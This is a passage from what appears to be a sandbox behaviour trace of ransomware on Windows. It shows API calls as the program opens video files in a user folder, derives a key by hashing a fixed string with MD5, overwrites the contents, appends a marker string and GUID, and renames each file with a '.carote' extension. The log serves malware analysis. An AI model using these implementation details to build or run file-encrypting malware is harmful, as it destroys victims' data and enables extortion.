lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.895] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14908 [0113.895] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.895] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0113.895] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14908*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14908*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.895] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.895] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.895] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.895] CloseHandle (hObject=0x61c) returned 1 [0113.896] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20b28 [0113.896] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8d0) returned 0x7b14908 [0113.896] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20b28 | out: hHeap=0x5010000) returned 1 [0113.896] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\aSFf3q\\ejvopeLEHjhZFIqxW7G.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\asff3q\\ejvopelehjhzfiqxw7g.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\aSFf3q\\ejvopeLEHjhZFIqxW7G.mkv.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\asff3q\\ejvopelehjhzfiqxw7g.mkv.carote")) returned 1 [0113.897] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.897] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.898] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79bf538 | out: hHeap=0x5010000) returned 1 [0113.898] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3c4320, ftCreationTime.dwHighDateTime=0x1d4d177, ftLastAccessTime.dwLowDateTime=0x3c2fcb60, ftLastAccessTime.dwHighDateTime=0x1d4d567, ftLastWriteTime.dwLowDateTime=0x3c2fcb60, ftLastWriteTime.dwHighDateTime=0x1d4d567, nFileSizeHigh=0x0, nFileSizeLow=0x9a33, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jdo8tC -dDtBml57.flv", cAlternateFileName="JDO8TC~1.FLV")) returned 1 [0113.898] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0113.898] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd6) returned 0x79bf538 [0113.898] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0113.898] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\aSFf3q\\jdo8tC -dDtBml57.flv") returned=".flv" [0113.898] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\aSFf3q\\jdo8tC -dDtBml57.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\asff3q\\jdo8tc -ddtbml57.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.898] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=39475) returned 1 [0113.898] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.900] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x9a0d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.900] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.901] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.901] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.901] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.901] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x9a33, lpOverlapped=0x0) returned 1 [0113.902] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.902] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.902] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.902] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.902] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ec028) returned 1 [0113.903] CryptCreateHash (in: hProv=0x50ec028, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.903] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.903] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.903] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.903] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.903] GetLastError () returned 0x0 [0113.903] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.903] CryptReleaseContext (hProv=0x50ec028, dwFlags=0x0) returned 1 [0113.903] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.903] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x9a30) returned 0x7b1c730 [0113.903] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.903] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.904] WriteFile (in: hFile=0x61c, lpBuffer=0x7b1c730*, nNumberOfBytesToWrite=0x9a2e, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b1c730*, lpNumberOfBytesWritten=0x825fb24*=0x9a2e, lpOverlapped=0x0) returned 1 [0113.904] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b1c730 | out: hHeap=0x5010000) returned 1 [0113.904] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x9a33, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.904] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0113.904] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0113.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.904] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14908 [0113.904] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.904] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0113.904] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14908*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14908*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.904] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.904] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.904] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.904] CloseHandle (hObject=0x61c) returned 1 [0113.905] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20b28 [0113.905] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8d0) returned 0x7b14908 [0113.905] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20b28 | out: hHeap=0x5010000) returned 1 [0113.905] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\aSFf3q\\jdo8tC -dDtBml57.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\asff3q\\jdo8tc -ddtbml57.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\aSFf3q\\jdo8tC -dDtBml57.flv.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\asff3q\\jdo8tc -ddtbml57.flv.carote")) returned 1 [0113.906] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.906] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.907] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79bf538 | out: hHeap=0x5010000) returned 1 [0113.907] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebb221f0, ftCreationTime.dwHighDateTime=0x1d4cbc6, ftLastAccessTime.dwLowDateTime=0xd8c66530, ftLastAccessTime.dwHighDateTime=0x1d4cd77, ftLastWriteTime.dwLowDateTime=0xd8c66530, ftLastWriteTime.dwHighDateTime=0x1d4cd77, nFileSizeHigh=0x0, nFileSizeLow=0x14200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YlPUbv4TdIl.flv", cAlternateFileName="YLPUBV~1.FLV")) returned 1 [0113.907] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f2c0 [0113.907] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd6) returned 0x79bf538 [0113.907] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f2c0 | out: hHeap=0x5010000) returned 1 [0113.907] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\aSFf3q\\YlPUbv4TdIl.flv") returned=".flv" [0113.907] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\aSFf3q\\YlPUbv4TdIl.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\asff3q\\ylpubv4tdil.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.907] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=82432) returned 1 [0113.907] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.909] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x141da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.909] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.910] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.910] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.910] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.910] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x14200, lpOverlapped=0x0) returned 1 [0113.911] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.911] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.911] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.911] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.911] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ec028) returned 1 [0113.912] CryptCreateHash (in: hProv=0x50ec028, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.912] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.912] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.912] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.912] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.912] GetLastError () returned 0x0 [0113.912] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.912] CryptReleaseContext (hProv=0x50ec028, dwFlags=0x0) returned 1 [0113.912] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.912] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x14200) returned 0x7b1c730 [0113.913] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.913] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.913] WriteFile (in: hFile=0x61c, lpBuffer=0x7b1c730*, nNumberOfBytesToWrite=0x141fb, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b1c730*, lpNumberOfBytesWritten=0x825fb24*=0x141fb, lpOverlapped=0x0) returned 1 [0113.913] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b1c730 | out: hHeap=0x5010000) returned 1 [0113.913] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x14200, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.913] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0113.913] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0113.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.913] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14908 [0113.913] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.913] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0113.913] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14908*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14908*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.913] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.913] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.913] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.914] CloseHandle (hObject=0x61c) returned 1 [0113.915] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16690 [0113.915] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8c0) returned 0x7b14908 [0113.915] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16690 | out: hHeap=0x5010000) returned 1 [0113.915] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\aSFf3q\\YlPUbv4TdIl.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\asff3q\\ylpubv4tdil.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\aSFf3q\\YlPUbv4TdIl.flv.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\asff3q\\ylpubv4tdil.flv.carote")) returned 1 [0113.915] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.915] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.916] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79bf538 | out: hHeap=0x5010000) returned 1 [0113.916] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebb221f0, ftCreationTime.dwHighDateTime=0x1d4cbc6, ftLastAccessTime.dwLowDateTime=0xd8c66530, ftLastAccessTime.dwHighDateTime=0x1d4cd77, ftLastWriteTime.dwLowDateTime=0xd8c66530, ftLastWriteTime.dwHighDateTime=0x1d4cd77, nFileSizeHigh=0x0, nFileSizeLow=0x14200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YlPUbv4TdIl.flv", cAlternateFileName="YLPUBV~1.FLV")) returned 0 [0113.916] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0113.916] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0113.916] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f190 | out: hHeap=0x5010000) returned 1 [0113.916] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0113.916] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16690 [0113.916] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0113.916] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.917] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.917] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.917] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.917] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.917] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.917] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.917] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.917] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.917] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.917] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.917] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.917] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.917] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.917] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.917] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.917] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.917] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.917] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.917] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.917] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.917] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.917] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.917] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.917] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.917] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.917] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0113.917] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.917] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.917] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.918] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.918] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.918] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.918] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.918] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.918] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.918] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.918] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.918] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.918] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.918] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.918] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.918] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.918] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.918] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.918] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.918] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b165d8 [0113.918] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.918] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.918] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b165d8 | out: hHeap=0x5010000) returned 1 [0113.918] RtlAllocateHeap 